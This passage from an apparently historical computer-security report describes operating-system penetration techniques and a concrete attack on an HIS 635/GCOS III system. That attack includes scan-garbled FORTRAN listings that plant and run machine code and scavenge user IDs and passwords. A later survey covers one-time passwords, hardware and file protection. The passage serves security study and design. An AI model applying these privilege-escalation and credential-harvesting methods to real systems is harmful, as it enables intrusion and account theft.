signed space. While much attention is given in an implementation to validating the 
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operating system call parameters, the multiplicity of implementers almost guarantees 
that one or more important checks will be overlooked. 

By supplying addresses outside of the space allocated to the users program, it is 
often possible to get the monitor to obtain unauthorized data for that user, or at the 
very least, generate a set of conditions in the monitor that causes a system crash. 

In one contemporary operating system, one of the functions provided is to move 
limited amounts of information between system and user space. The code performing 
this function does not check the source and destination addresses properly, permitting 
portions of the monitor to be overlaid by the user. This can be used to inject code 
into the monitor that will permit the user to seize control of the machine. 

A further example occurred in another contemporary system. The monitor 
expected parameters to come from the users space and did in fact check that this was 
so. (The only check it made was whether the parameter appeared to be in user space). 
If the parameter came from system space the parameters were accepted without 
further question. This situation occurred because the call(s) involved could come 
from users or other parts of the operating system (e. g., a call to allocate more space 
on a temporary basis). The monitor had no way of distinguishing which case it was 
handling except through this simple check of the source of the call. From this it was 
possible to deceive the monitor into eventually returning control in supervisor state to 
a user program. 

The attack was developed along the following lines. First an instruction trans­
ferring control to a predetermined point in the users program was loaded into a reg­
ister. Next, a system call was made that caused the register(s) to be stored (saved 
by the system) in system space. Upon return of control, another system call was made 
that used as a transfer point an implicit parameter (an address) stored in the user space 
that had to point to a location in system space. If a user space address was supplied, 
the parameter check would catch it and abort the call (and the program). Naturally, 
the address supplied was the location in the register save area where the transfer back 
to the user program had been planted by the previous system call. All parameter checks 
passed, and control was returned to the user in supervisory state giving him control of 
the system. 

The incomplete parameter checking attacks are less easily countered than the 
previous examples because the existence of the vulnerability relies on what must be 
considered design or implementation flaws. These flaws do not mean that the func­
tions being exercised do not operate correctly. Rather it means that their interactions 
with other functions are so uncontrolled as to produce unknown (to the implementor) 
side effects. Contemporary operating systems provide manifold opportunities for this 
sort of attack if only because their sheer size precludes design, certification, and 
development by a single (or a few) knowledgeable individuals. 



Asynchronous Interrupt Attacks 

This class of attack is directed to exploiting how a system handles asynchronous 
interrupts, and attempts to bypass one or more security related controls by injecting 
an unanticipated interrupt in the middle of an execution of that control. As an illus­
tration of this kind of situation, many contemporary systems provide a user up to 
three chances at logging on correctly before summarily rejecting his attempts. The 
limitation imposes (what is believed will be intolerable} delays on a user attempting 
to exhaustively enumerate all possible user-id's and log-on authenticators (passwords}. 
Since such exhaustive enumeration is ultimately controlled by the communications 
line speed, automatic sign-off acts to limit the number of attempted log-ons possible 
in a given period even if they are automated. 

It has been found in several systems that if a user supplied asynchronous inter­
rupt is presented during the printing of a log-on error message, the monitor returns 
control to accept a new log-on attempt without advancing the counter set to record the 
number of tries. This permits automation of exhaustive enumeration of log-on's at 
maximum line speed without affecting the number of log-on's possible in a unit of time. 
It is also interesting to note that this attack can be executed with no indication that it is 
taking place. In general, the type of situation being sought in an asynchronous inter­
rupt attack are operations in the command system that will cause control to be re­
directed to a location other than that had an asynchronous interrupt not taken place. 

The problem with asynchronous interrupts is that the designers of the system 
chose to respond to the interrupt immediately rather than deferring interrupt response 
to a point in the program that permits a definitive determination of the state of the 
user program. While the effects cannot be predicted in advance, results with con­
temporary systems indicates that as an attack mechanism, it can bypass some security 
controls and is worth trying particularly if the high payoff attacks fail. 

Trojan Horse* 

This rather interesting attack is directed to placing code with trap doors into a 
target system. It attempts to achieve this by presenting the operators of the system 
with a program so useful that they will use it even though it may not have been pro­
duced under their control. An ideal 'gift' of this kind would be a text editor or other 
major system function that requires access to user files as part of the function. If 
the Trojan Horse routine opens the user files for him as part of the 'service', the 
program also has the opportunity to record the user ID and/or passwords on his file. 
It may also be possible to copy all or part of the file being 'edited' to a file accessible 
to a penetrator. 

Details of exploiting this attack are highly dependent on the system on which it is 
to operate. In essence it bypasses any and all security controls that may otherwise 

*This attack was identified by D. J. Edwards. 
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exist on most systems. It is the quintessence of the malicious threat against contem­
porary systems. To this extent, the Trojan Horse attack is directed against the pro­
cedural controls surrounding the use of a system. Such an attack can only succeed in 
environments where control over applications or other programs put on a system are 
lax. Unfortunately, this is the case for too many systems , even in environments where 
security appears to be of great importance. 

Clandestine Code Change 

A clandestine code change is related to the Trojan Horse attack in that it attempts 
to inject code that contains trap doors into the system for exploitation by a penetrant. 
Unlike the Trojan Horse, the clandestine code change is directed to placing ones own 
copies of crucial parts of the operating system into the system. The method used 
might be to send rigged system changes to the target system operators that appear 
legitimate. Obviously, if legitimate changes can be diverted and rigged, this can be 
used as well. In contemporary operating systems, opportunities for placing man­
ipulated code are manifold because of the complexity of the system. It is only neces­
sary for the clandestine code change to return control in supervisor state to the caller 
of an otherwise innocuous system function. The call can be 'keyed' by an arbitrary 
number set in one or more registers in order to minimize the possibility of accidental 
discovery. Once again what is being attacked is the procedural controls external to 
the system proper , and the fact that security controls are not isolated. 

Asynchronous Attack* 

The asynchronous attack attempts to exploit the independent I/O capability of 
modern computers by setting up conditions that cause the I/O to reference memory 
space that may be shared (with the user) by the monitor (see Implied Sharing above). 
This attack can take several forms. As an information recovery attack, the program 
can initiate a repeated (chained) output operation from an area in user assigned mem­
ory that is used by the monitor to store security sensitive information (e. g., the 
System Master Catalog entries used in file system operations in GCOS III). Because 
many systems will return control directly to the user program upon initiation of the 
I/O operation, (to permit parallel computing and I/O) it is then possible to call the 
system function that uses the shared space. With possibly some timing adjustments, 
the previously initiated output operation should be able to get a 'snapshot' of what the 
monitor places in that space, so even if the monitor zeros the space after it is through, 
the user will have copied it out onto a file for later examination. 

Another form of this attack may give supervisory state control to the user if the 
monitor stores registers (including the instruction counter) in part of the memory 
assigned to a user, while the monitor is in control. This is a feature on some sys­
tems that is invoked when the monitor's primary register save area is filled up by 
nested intra-monitor calls. To mount the attack, the user constructs a record having 

*This attack was identified by Major Roger Schell. 



an address pointing to his code in the proper location. This record is replicated on a 
file and is then read by a repeated (chained) Input operation into the area of the user's 
memory used as overflow storage for registers. The user then makes a monitor call 
that causes the monitor to make a number of nested intra-monitor calls. Again, with 
the possibility of timing adjustments, the registers saved by the monitor will be over­
laid by the input record containing the address pointing into the user's code. 

Attack Scenario 

Described below is an attack scenario developed against an HIS 635/GCOS III 
system that provides support for general program development in both time-sharing 
and batch modes. 

The operators of the system recognized the potential vulnerability of the system 
to attacks involving unrestricted programming. As a consequence, the remote batch 
assembly language programming capability (CARDIN accepting the GEMAP assembly 
language) was removed from the capability of the general users who accessed the 
system from terminals in a time-shared mode. Programming in BASIC and in Time 
Shared (TS) FORTRAN was permitted to this class of users. Because the operators 
did not have the resources to certify the I/O operations in FORTRAN, or the possi­
bilities of bypassing their controls in subroutines, both the I/O and subroutine capa­
bilities were removed from the TS FORTRAN compiler as well. The BASIC System 
sequencing and control was found to be largely interpretive in nature, and was allowed 
to remain on the system unmodified except to remove a capability to make possible 
direct machine language patches to the generated BASIC code. 

The problem facing a penetrator was first to find a means of breaking out of the 
FORTRAN or BASIC envelope to plant his own code, and then cause its execution. 
Secondly, with this 'programming' capability he then had to find and exploit a design or 
implementation flaw in GCOS III. Because of the interpretive nature of BASIC, it was 
decided to concentrate the attack efforts on FORTRAN. 

Time Sharing (TS) FORTRAN Break 

The essence of breaking out of TS FORTRAN on a HIS 635/GCOS III system was 
to discover a means of transferring control into data. Tests conducted on an HIS 635 
at another site confirmed that the run-time package forTS FORTRAN checked array 
references at least at the main program level and that it was not possible to use that 
method on the target system. Because the subroutine and file capabilities were "re­
moved" from the target system's FORTRAN, the methods involving overwriting an 
array with file data beyond the array boundary or spoofing the run-time package by 
referencing an array with negative or exaggerated indices from a subroutine were also 
effectively blocked. Investigation then centered on the Computed and Assigned GO TO 
statements. It was quickly ascertained that the Computed GO TO is checked to see 
that the switch variable is within the range of the label list. However, it was found 
that the Assigned GO TO was compiled as a direct transfer to the label specified and 
that the compiler did not distinguish an integer variable used for an Assigned GO TO 
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from an ordinary integer variable. It was ·also found that index register 3 was used 
by the compiler to hold the index value (offset from relative memory location zero) 
corresponding to a subscript in an array. Using these conditions it was a simple mat­
ter to construct a sequence that would cause a transfer to the first word of an (integer) 
array which was prefilled with instructions to be executed (using the DATA statement). 
The sequence is shown on the following page. 

The reason this sequence permits one to "break out" of the TS FORTRAN en­
velope is because the compiler (and run-time package) does not distinguish between 
integer variables used in Assigned GO TO's and those used normally. 

Recovery of User ID and Authenticators 

The recovery of USER-ID and authenticators on the HIS 635 system was possible 
due to the existence of unrepaired deficiencies in GCOS III. It was discovered in an 
analysis of the GCOS DRL's and MME's that the buffer space made available by the 
caller to the File System (FILSYS) modules was not zeroed out before return to the 
caller. Based on this information the vulnerabilities were verified for the target sys­
tem. In particular it was found possible to systematically scavenge the System Mas­
ter Catalog (SMC) by presenting FILESYS with a catalog string of user "names" 0, 1, 
2, . . . . . In determining that these numbers were invalid catalog names the 
system had to read the portion of the SMC which would contain the false name in order 
to find that it was not present. Upon detecting this condition, FILESYS returned an 
error indication to the caller but did not clear out the buffer space before returning 
control. Upon regaining control the user merely read out the user-IDs and passwords 
from the buffer. This scavenge attack is insidious since it does not leave any trace of 
its activity and the user-IDs and passwords recovered permits its user to masquerade 
as any other user of the system. 

The basic attack was developed by using the FORTRAN break (see above) to exe­
cute code placed in an array. The program used is shown on the following page. 

This general method was tried on the target system using file activity function 
codes 3, 9, 5, and 21. Variations on the basic routine permitted printing the data in 
octal or an edited format. 

There are a number of factors contributing to the success of this attack. These 
are: 

a. The initial design flaw of using user-provided memory space for system 
buffer purposes. 

b. The implementation flaw that does not zero out the buffer space before 
returning control to the user. 

c. The operation flaw that the TS monitor does not deal harshly with users 
who supply a name that is not present in the SMC. This oversight is due 
to the fact that it is legal to present such a string (e. g. , when adding a new 
file to the catalog) that must be checked for duplication. 



:0 DIMENSI0N INSC100) 
~oc 

~oc ------------------------------------------------------------------­
40C INS IS THE ARRAY INl0 WHICH INSTkUCTI0NS ARE PLANTED 

50C BY THE PENETRAT0R 


)QC -------------------------------------------------------------------· roc 
~0 DATA INSC1)/0635004/ 
~0 DATA INS(2)/02755004/ 
I OOC 

l lOC ------------------------------------------------------------------­
l 20C THE VALUE 0F' I BRK IS E~UI VALENT T0 TRA Q, 3 

130C ------------------------------------------------------------------ ­
1 40C 
150 DATA IbRK/0710013/ 
1 60C 

170C ------------------------------------------------------------------ ­
180C SE1S UP THE RETURN 

190C ------------------------------------------------------------------ ­
200C 
210 ASSIGN 200 T0 Nl 
220C 
230C -------------------------•-••••-••••••-•••••••••••••••--------•M•-~ 
?.40C PLACES THE RETURN IN THE ARRAY 

250C -----------------------------------------·------------------------•
260C 
i?.?O INSCJ>=Nl 
280C 

290C -~-----------------------------------------------------------------
300C ASSIGNS VALUE 1 T0 INTEGER VARIABLE N2 

310C------------------------------~------------------------------------• 
320C 
330 N2=l 
340C 

350C ------------------------------------------------------------------ ­
360C NEXT STATEMENT CAUSES X3 T0 BE L0ADED WITH THE ADDRESS 
370C 0F THE FIRST W0RD 01' THE ARRAY IN.S 

380C ------------------------------------------------------------------•
390C 
~00 INSCN2)=1NS(l) 
410C 

~20C ------------------------------------------------------------------· 
430C C0MPILES AS A DIRECT TRANSFER TO THE INTEGER VARIABLE IBRK 

A40C ------------------------------------------------------------------­
4 soc 
4 60 G0 T0 I BRK 
470C 

480C ------------------------------------------------------------------­
490C C0N1.R0L RETURN.S HERE Fk0M C0DE IN INS 

500C ------------------------------------------------------------------• 
510C 
520 200 PRINT 2Ql,INSC4> 
530 201 F0RMATC1X,012) 
5 40 ST0P 
5 50 END 



--··-· ....... -- ..... -· .... -· ___ , 

2 0 DIMENS10N 1 F'll.C 33) 
30 DIMENSI0N ICHRC 64) 
40 DIMENS10N IDUMC 13),JDUMC24) 
50 DIMENS10N 1BIGC2~> 
60 ASCII ICHR,JDL»1 
70 DATA ICHR/0060000000000,0061000000000•0062000000000, 
80& 0063ooooooooo.0o~~ooooooooo.0065ooooooooo,0066ooooooooo, 
90& 0067000000000.0070000000000.0071000000000.0043000000000. 
100& 0043000000000. 
1 10& 0100000000000.0072000000000.0076000000000.0077000000000, 
120& 0040000000000.0101000000000.0102000000000.0103000000000. 
130& 0104000000000•0105000000000,0106000000000.0107000000000· 
140& 0110000000000.0111000000000.0046000000000.0056000000000. 
1 50& 0135000000000•0050000000000.007~000000000.013~000000000. 
160& 0136000000000.0112000000000.0113000000000.0114000000000· 
170& 0115000000000.0116000000000.0117000000000.0120000000000. 
180& 0121000000000.0122000000000.0055000000000.00~4000000000· 
190& 0052000000000.0051000000000,0073000000000.0047000000000. 
200& 0053000000000.0057000000000.0123000000000.0124000000000. 
210& 0125000000000.0126000000000.0127000000000.0130000000000· 
220& 0131000000000•0132000000000.0137000000000.0054000000000. 
230& 0045000000000.0075000000000.0042000000000.0041000000000/ 
2 40 DATA I F'IL/0 36002000• 0001356,0200 1411• o, o, o, o, 
250& 0001361oooooo.0001372001363.00013640ooooo,o.o, 
260& 074oooooooooo.o.02ooooo2.0510102010ooo,000022020202o. 
270& 0760000000000.0777777777777.0510102010000. 
280& 0000220202020.0202020202020,0202020202020.0777777777777. 
290& 0510102010000.0000220202020.0202020202020.0202020202020• 
3 00& 0102122113062. 00~0040040040. 0040040040040. 0040040040040• 
310& 0777777777777/ 
3 20 KKK=2 
3 30 LLL=2 
3 40 DATA 1 P3/0137 3/ 
350 DATA IP4/01376000000/ 
360 DATA IP5/01414001400/ 
370 DATA IP6/01401000000/ 
380 DATA IBRK/0710013/ 
390 DATA IP77/0770000000000/ 
400 DATA IP1/02001433/ 
410 DATA INSC1)/0635004/ 
420 DATA INSC2)/02755004/ 
422 DATA IP98/0060000000000/ 
430 DATA IP99/051010303000301/ 
440 G0 T0C600•601),KKK 
450 600 C0NTINUE 
460 ASSIGN 677 T0 N1 
470 1NSC3>=Nl 
480 N2= 1 
490 INSCN2>=INSC1) 
500 G0 T0 IBRK 
510 677 PRINT 678.~1NSC4> 
520 678 F'0RMATC1X,012> 
530 GIZJ T0 602 
540 601 C0NTINUE 
5 50 00 7 7 I = 1 , 3 3 
560 INSCI>=IF'ILCI> 
570 77 C0NTINUE 
580 INSC3>=IP1 
590 1NSC2>=1P3 
600 INSC8>=IP4 h7 



630 INSC25)=0 
6AO INS< 16)=IP99 
6 50 INSC 26>=0 
660 INSC26>=0 
6 70 101 F'0HMATC IX .d 4., 1X., 012) 
680 66 C0NTINUE 
685 PRINT 10hlNSC2S>.~INS<2S> 
690 D0 79 1=34.~500 
700 lNSCI>=O 
7 10 79 C0NTINUE 
720 ASSIGN 200 T0 Nl 
730 INSCLJ)::iNl 
7 40 N2= 1 
7 50 I NSC N2>=I NSC 1> 
7 60 G0 T0 IBRK 
770 200 C0NTINUE 
780 G0 T0C604.~60S).,LLL 

790 604 C0NTINUE 
8 00 00 6 1 5 I • 1" 40 
810 IF'CINSCI» 616.~615.,616 

820 616 PRINT lOl.~I.,INSCI> 
6 30 615 C0NTINUE 
8 AO G0 T0 602 
6 50 605 C0NTINUE 
8 60 J=O 
865 G0 T0 714 
870 715 C0NTINUE 
880 IFCINSC102+J) •NE• 
882 IF'CINSC102+J) •EQ. 
8 90 714 C0NTINUE 
9 00 I F'C INS< 102+J) • EQ• 
910 INSC102>=INSC105+J) 
920 INSC103>=INSC106+J) 
9 30 INSC 110>=INSC 110+J) 

INSC105+J)) G0 T0 805 
O> G0 T0 805 

1 P?.7> G0 T0 716 

9 40 I N S <1 1 1 >=I N S <1 1 1 +J > 
950 5 F0RMATC1H .,3(012.~1X>> 
960 ENC0DECIOUM.~l>INSC102>.,INSC103).,INSC110).,INSC111) 
970 1 F'0RMATC4C012)) 
980 DEC00EC I DU!IIi., 13> <!BIG< I)., I= 1" 24) 
990 13 F'0RMAT<48C02)) 
1000 00 99 1=1•24 
1010 IK=IBIG(l)+1 
1020 JDUMCI>=ICHRCIK> 
1 030 99 C0NTINUE 
1040 PRINT 3.,(JOUMCI>.,I=l.,24) 
1050 3 F'0RMATC1H .~12CA1).,1Xs12CA1>> 
1060 713 J;J+12 
1 070 G0 10 71 5 
lOBO 716 C0NTINUE 
1 09 0 I N S C 2 5) = 1 N S C 2 5) + 1 
1 100 G0 10 66 
1120 805 J=J+l 
1130 IF<J ·GT• 500) G0 
1140 IFCJ+lOO ·GT· 500) 
1150 IF< INS< lOO+J) .EQ. 
1 1 6 0 It·- C I N S C 1 0 0 +J > • EQ • 
1170 G0 T0 805 
1 180 807 C0NTINUE 
1 19 0 G0 T0 71 5 

T0 716 
G0 T0 716 
IP98> G0 T0 807 
I P 7 7) G 0 T0 7 1 6 



While there are other vulnerabilities of the HIS 635 that could have been used, the 
specific method outlined above is typical of a security penetration of contemporary 
systems. Although this specific attack was mounted against the system from a ter­
minal through the Time Shared monitor, other avenues are possible from batch pro­
grams as well. 

Summary 

A number of areas of weakness of contemporary systems have been outlined 
above. The availability of listings of the operating system will speed the penetrator's 
efforts many times over, although even without such aid, a systematic probing of op­
erating system function calls, followed by dumps immediately after the call would 
produce similar results. 

A major point is that with no recognized principles of design for security, the ad 
hoc protection mechanisms of most contemporary systems are insufficient to defend 
against a dedicated penetrator. 



APPENDIX II 


A SURVEY OF THE STATE-OF-THE-ART 

OF COMPUTER SECURITY TECHNOLOGY 


INTRODUCTION 


This appendix is an assessment of the current. state of the art in computer security 
technology. It is an attempt to put the technical problems into perspective and to iden­
tify what appear to be outstanding problems, and what additional work is needed to 
solve them. 

ACCESS CONTROL TECHNIQUES 

This area comprises two categories: 

a) Control of access to a system. 

b) Control of access to the elements of system (hardware and software). 

Basically, the first category involves authenticating users to the system. For remote 
access users, two techniques are available - control of physical access to a terminal, 
and use of 'passwords' as authenticators. The former technique is an instance of 
physical security that will not be dealt with further here. 

Authenticator schemes such as automatic fingerprint reading, the Identimat hand 
geometry reader, and read/write magnetic card readers appeal to the gadget minded, 
but offer no additional security over the password schemes. The magnetic card 
reader-writer may be a more convenient medium for one-time passwords, but is 
limited in application (as is the scheme outlined below) to situations where the com­
munications lines are protected. 

The technique of using passwords to authenticate a user to resource sharing com­
puter system is well known. Almost all of the systems in use in Government, and all 
of the commercial time-sharing systems use this technique. In Government systems, 
the password is classified, and considered 'secret' (not the national classification) 
because the password is equated to the combination of a safe containing classified 
material. This analogy is incorrect, since the access to material in a resource 
sharing system is in nearly all cases controlled by the user's identifier (generally not 
a classified item). The password in these systems plays the role of an authenticator, 
that is verifying to the system that the user is who he claims to be. The authentication 
takes place by the user supplying his unique password along with his identifier. Since 
the password is presumed to be known only to that user, the presentation of the pass­
word uniquely associated with a given user identifier is taken as prim3; facie evidence 
that the user is indeed who he claims to be. 



While the password does not give acces-s to material in the system (the user's 
identifier does), it does give a user access to the system. To this extent, the analogy 
to a combination is correct, however a better analogy is that the password is equiva­
lent to the combination to a vault containing a variety of safes each of which contains 
classified material. Once inside the vault, the user's identifier will open his safe 
but none of the others. 

There are basically two reasons that the combination to a safe containing classi­
fied information must be classified to the level of the material in the safe and be 
considered 'secret'. The first is that it is not economical to change the combination 
of the safe after every use and even if it were, the problems of distributing the 
changed combinations even to two or three people who might share the safe are over­
whelming. Obviously if only one person uses the safe, repeated changes are unneces­
sary except for presumptions of carelessness by the owner. The second reason for 
considering safe combinations 'secret', particularly in the single-user case is the in­
ability to detect when a safe was opened using the combination. For these reasons, 
the safe owner and user(s) are prohibited from writing down the combination. 

The principal reason the authenticating password is kept secret is that, like safe 
combinations, it is reused for extended periods of time. Further, if it is observed 
(like safe combinations), it would permit another person to masquerade as the legiti­
mate user. Because safes are most often located in the immediate vicinity of their 
owner/user, they cannot ordinarily be entered unobserved A masquerader, however, 
could enter a resource sharing system from another terminal, unobserved by the 
affected legitimate user. Depending on the length of the password period*, a mas­
querader could effect a long-term penetration of another user's files with a low 
probability of detection. This is a serious risk resulting from use of long-term 
passwords. 

Requirements for a One-Time Password System 

It is to counter the risk of long term penetration that one-time password schemes 
have been proposed Weissman in the design of Adept-50 provides for a table of up to 
64 passwords that can be used to implement a one-time password scheme. However, 
even his scheme considers the passwords 'secret. ' 

The major drawback to one-time password schemes is the cost and difficulty of 
distributing lists of passwords to a large number of users, particularly in situations 
where the rate of password use varies widely over the user population. To be most 
effective, the one-time password system should minimize the distribution problem. 

'Secret' passwords tend to be long because they must preclude exhaustive testing 
for the duration of the password period. For a one-time password system, shorter 

*The period of time a password remains in effect unchanged. 
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passwords can be used provided they are long enough to provide adequate variability 
over the set of users of a system. If the log-on procedure is designed to permit only 
three incorrect log-on attempts before locking out a user from subsequent log-on 
attempts, then random sequences of 3 or 4 letters could be effective, providing 
17, 576 or 416, 976 possible passwords to 'cover' a set of users. 

A Centrally Distributed One-Time Password Scheme 

As part of the log-on sequence, it is possible for the system to generate and 
return to the user a new random sequence password for use the next time he logs-on. 
Before transmitting the new password, the system can check the list of current pass­
words to eliminate current duplicates (although it is not clear that with one-time pass­
words duplicates arising at random constitute a lessening of the security feature 
provided by one-time passwords). 

Because the password is good only for the next log-on, it could be printed 
(without further identification) and retained in the possession of the user without 
special security controls. 

A one-time system such as this requires a way of giving a new user his first 
password in a controlled way. For this purpose and for any subsequent case (see 
discussion below) where the user's current password cannot be used, a special pro­
gram, available for execution only by a System Security Officer (SSO) (from a terminal) 
would be used. The program would be called by the SSO (after logging-in with his cur­
rent one-time password) and would accept as input the user-number (user-id) and 
optionally the access permissions to be assigned to him. After entering the new user 
in the list of authorized users, the system would generate and return an initial pass­
word for that user. To keep the password private, the SSO could remove himself 
from the terminal while the new user received his initial password. 

The principal risk with either form of passwords is compromise of the password 
by exposure to unauthorized persons. The effects of such compromise are consider­
ably different depending on which password scheme is used. For the open one-time 
password scheme, the effects range from none (in the case the legitimate user logs­
on again before the masquerader can use a surreptitiously obtained password) to being 
denied access to data at a crticial time. For the 'secret' passwords, the effects range 
from none (under the unlikely case of verification of user activity as part of an audit 
procedure) to a long-term exploitation of the user's data base. The open password 
scheme is vulnerable to denying a user access to the system if the password is com­
promised and used by a penetrator. 

Summary 

A comparative analysis of the vulnerabilities of one-time passwords (centrally 
distributed) and 'secret' passwords favors the scheme of one-time passwords authenti ­
cating users to resource-sharing systems. It appears that the risks of delivering the 
one-time password in open hard copy and permitting its unrestricted retention by the 
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user are virtually nil, and in any case are significantly less than the commonly 
accepted 'secret' password schemes currently in use. 

The main objection to passwords as authenticators is the distribution problem, 
which for systems of any size becomes so costly that the password is used for extended 
periods of time. This increases the risk that a surreptitiously observed password can 
be exploited by the observer for corresponding periods. The one-time centrally dis­
tributed password scheme described above is suitable for use where the communications 
are adequately protected. 

This aspect of the computer security problem is well understood and manageable 
with present technology. 

HARDWARE 

The current state of computer hardware varies considerably. In spite of this, 
virtually all of the so-called 3rd generation computers have the essential elements for 
constructing penetration proof operating environments for limited use. These elements 
are the two-state operation and hardware storage protection. Virtually ~of these 
systems have devised check circuitry that assures the proper operation of these ele­
ments. Limited experience with a few time-shared systems indicates that hardware 
failures that suspend storage protection or permit user-mode programs to execute 
master (supervisor) mode instructions are infrequent indeed. 

There is growing evidence that descriptor-driven machines provide an excellent 
base for constructing penetration proof operating systems, although it is clear that 
even with such aids it is necessary to exercise care in the implementation of the 
operating system. 

The appeal of descriptor-driven machines is severalfold. First, it provides an 
environment that encourages building the operating system in a structured way. 
Second, it is possible to separate addressability from privilege, making it possible 
to operate virtually all of the operating system in a non-privileged mode. With all 
storage references interpreted by descriptors, it is possible to more effectively 
apply selective permissions (read, write, execute, etc. ) to different parts of the 
operating system. Third, the portion of the operating system dealing with real re­
sources (memory, peripherals, file space, etc.) can be localized and made as secure 
as need be for securing the system. Finally, descriptor-driven (virtual) machines 
make it possible to include the operating system in the user's address space in a pro­
tected way, thus facilitating intra-process communication, and enforcing separately 
the controls for reading (data or programs), writing and execution. 

It is interesting to note that penetration attacks on conventional two-state, non­
descriptor machines are generally directed to obtain supervisory state control of a 
system. This in turn permits the successful penetrator to manipulate operating system 
code at will. Because global addressing in contemporary systems in linked to the 
supervisor state of such systems, it is often necessary to enter this state merely to 



provide addressing facilities to part of the operating system. With so much of the 
operating system having to be in supervisor state for addressing reasons alone, it 
makes it extremely difficult to avoid exploitable implementation flaws in the operating 
system. 

The increased use of microprogramming to implement instruction sets in con­
temporary systems makes it feasible to incorporate part of the operating system code 
in microstore. However, the tables representing active processes must still reside 
in regular memory and are subject to potential manipulation. The principal benefit 
from putting parts of the operating system in microcode is the increased attention it 
will get during design and implemc~tation rather than any special security properties 
of microprogramming. For special applications, it is feasible to microprogram 
higher level language interpreters thus removing users further from the real machines. 

Summary 

By and large, the current state of hardware development will support the design 
and implementation of penetration-proof operating environments. The descriptor­
driven virtual machines make this process simpler because of the ability to specify 
and control reference permissions separately from the privileged state of operations 
and the localization of real resource (memory, files, etc.) inventory management. 

COMMUNICATIONS 

While current technology provides good techniques for secure communications, 
there is still no communications security (COMSEC) equipment available designed 
specifically for interactive terminal to computer connections. Further, the require­
ment to physically protect crypto gear (vaulting it, for example) makes the cost of 
applying this technology quite high indeed (perhaps $35, 000-$50, 000 per vault). Com­
pounding this is the problem of distributing keying materials for several hundred or 
thousand terminals in a system. 

Current activity in this area is promising. ARPA is pressing for secure terminals 
for the ARPA network. The USAF has under development "office environment" secure 
terminals for the LDMX program, and there are techniques available for remote 
keying. All of these efforts are at least 3-6 years away from being able to deliver 
useable equipment for general use. Even so, all of these efforts are directed to secure 
communications from reading by unauthorized persons. In at least one environment 
(AFIACS) there is an immediate requirement to secure unclassified communications 
against intrusion that appears more as a write protect problem than read protect. The 
main implication of this requirement is that extraordinary protection of the anti­
intrusion equipment is not necessary because of the unconcern for the content of the 
traffic being transmitted. 

Given the inevitable development of suitable low cost COMSEC equipment for 
interactive terminals, the burden then falls at th~~er site to find room for 
crypto equipment at the computer side of the links. In order to reduce the space, 



power and air conditioning requirements at a site, it will be necessary to develop 
time-shared COMSEC equipment that could even be stored programmed (micropro­
grammed) and dedicated to this function. The equipment could either be viewed as an 
integral extension to the presently available communications front end processors, or 
as a separate function interposed in front of a communications processor. 

Summary 

The technology and techniques applicable to these problems are available with 
little or no additional research. There are no COMSEC products available designed 
specifically for use with remote interactive terminals in an "office environment." 
Development currently underway will refine the techniques, but do little for the cur­
rent problems, even when they become available, unless these problems are specifi­
cally addressed in a development program. 

FILE SYSTEMS 

Basic Problems 

There are basically two file protection problems (excluding the problem of 
physical protection). The first arises in connection with computer utilities, and i!3 
concerned with methods of precisely controlling the sharing of information, and more 
specifically programs. The problem is complicated by the notion of implied sharing. 
As an example, if a user B is sharing some programs owned by user A, and then 
authorizes user C to share his program that in turn shares some of user A1s programs, 
how is the sharing between Band C controlled such that C does not have access to the 
programs of A and B but only to their results. Basically, the question being addressed 
is how can communication be established between two users 1 programs such that only 
the results of the shared program are available to the sharer. 

The second problem arises in environments where data is classified according to 
external criteria (e. g. in files of defense information), and is more concerned with 
establishing a logically consistent method of determining the security label to be 
associated with file access requests in order to permit an intelligent determination 
of the validity of the request. This problem is complicated by the fact that users, 
programs, terminals, files, and executions all can be considered to have such labels, 
and that the security label of some objects (executions and some files) can change 
during the execution of a program, or during the execution of a job. In addition, in 
the environments where this problem is important there is considerable attention paid 
to the derivation and proper transfer of security labels to files and printed material. 

Models for Shared Information Processing 

The issues involved in this problem are how authorization to use a file or a 
program is accomplished and how the general framework in which programs are created 
and executed. 



Most of the workers involved with this problem have assumed or required the 
existence of a file system consisting of a collection of files, and a directory associating 
a user with his files, or in exceptional cases a directory associating a file with its 
users. Assuming the first form, the authorization mechanism must permit a file owner 
to designate the users with whom he wishes to share a file, and those privileges the 
sharer is permitted with respect to the file. A commonly used mechanism is to 
associate with each shared file in a user's directory, a list of other users who may 
access the file, and for what purpose (i. e. , read, write, append, etc. ). A sharer, in 
order to establish a connection to the shared file creates his name for the file, and 
equates it to the file being shared. Sharers reference to the file name he created is 
interpreted as an indirect reference to the owner's directory, from which the type(s) of 
access permitted are checked before completing the reference. A number of variants 
on this scheme can occur to make the process more efficient. For example, the 
directory search can take place at binding time (assuming pre-execution binding), a 
name substitution made, and a transfer of access flags made to the sharers' file 
control block. However, these are implementation and application dependent, and will 
not be discussed further here. In one model[l], actual system commands are provided 
to permit designating sharers of files. 

Other authorization models exist; these include use of passwords associated with 
each file in the (protected part of the) system to act as locks. An owner authorizes 
sharing of his files(s) by providing the sharer with the password for the file. As 
Friedman[l] notes, however, this is less than satisfactory because it permits the 
sharer unrestricted access to the file for any purpose. 

The method of actually controlling authorized sharing in nearly all utility­
oriented systems is based on the use of indirect references to the shared objects 
through descriptors. It is characteristic of most systems designed for information 
utilities, or large populations of on-line users that they provide some form of virtual 
memory system. [2] The objects (e. g. programs, data, files) occupying the virtual 
memory are represented by descriptors, collected into one place, managed by the 
system, and acting to map a virtual address into a real address. The mapping is often 
aided by hardware in the system, but this is merely a technique for improving execu­
tion efficiency, and is not fundamental to the concept. 

Since descriptors are maintained by the system (necessarily, since they deal with 
real resources) they are in a special segment designated READ-ONLY to a process. 

Descriptors are used to control sharing in a variety of ways. Basically, each 
descriptor, representing a program, data set, file, etc., contains control informa­
tion in addition to the address in real memory where the object is located. The 
basic control information of security interest is the type of access permitted to the 
object - READ, READ-WRITE, EXECUTE, APPEND, etc. Since the operating 
system is the only program permitted to create and manipulate these descriptors, the 
necessary mechanism to provide controlled sharing of other users' programs and 
files appears to be established. 
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This would be the case if only one user at a time were permitted to gain access to 
an object. However, in the multiple user environment, a given object could be in use 
by a large number of users, perhaps with different access privileges. In general, this 
case is handled within the same framework as for the single user; since each user's 
process is represented by a descriptor table (segment) unique to that user, the des­
criptor referring to such an object can have the access control information set to the 
appropriate value for that user. The actual checking on access type is accomplished 
on modern systems in hardware as a descriptor is referenced. Within this gener:al 
framework, a number of secondary problems emerge. Grahaml3] treats protection 
as a disjoint series of rings, and discusses the problems of changing control from one 
protection level (viewed as concentric circles or rings) to another in a safe manner. 
To provide protection in both a downward (from a superior routine to an inferior 
routine) as well as an upward direction, he proposes a model that augments the des­
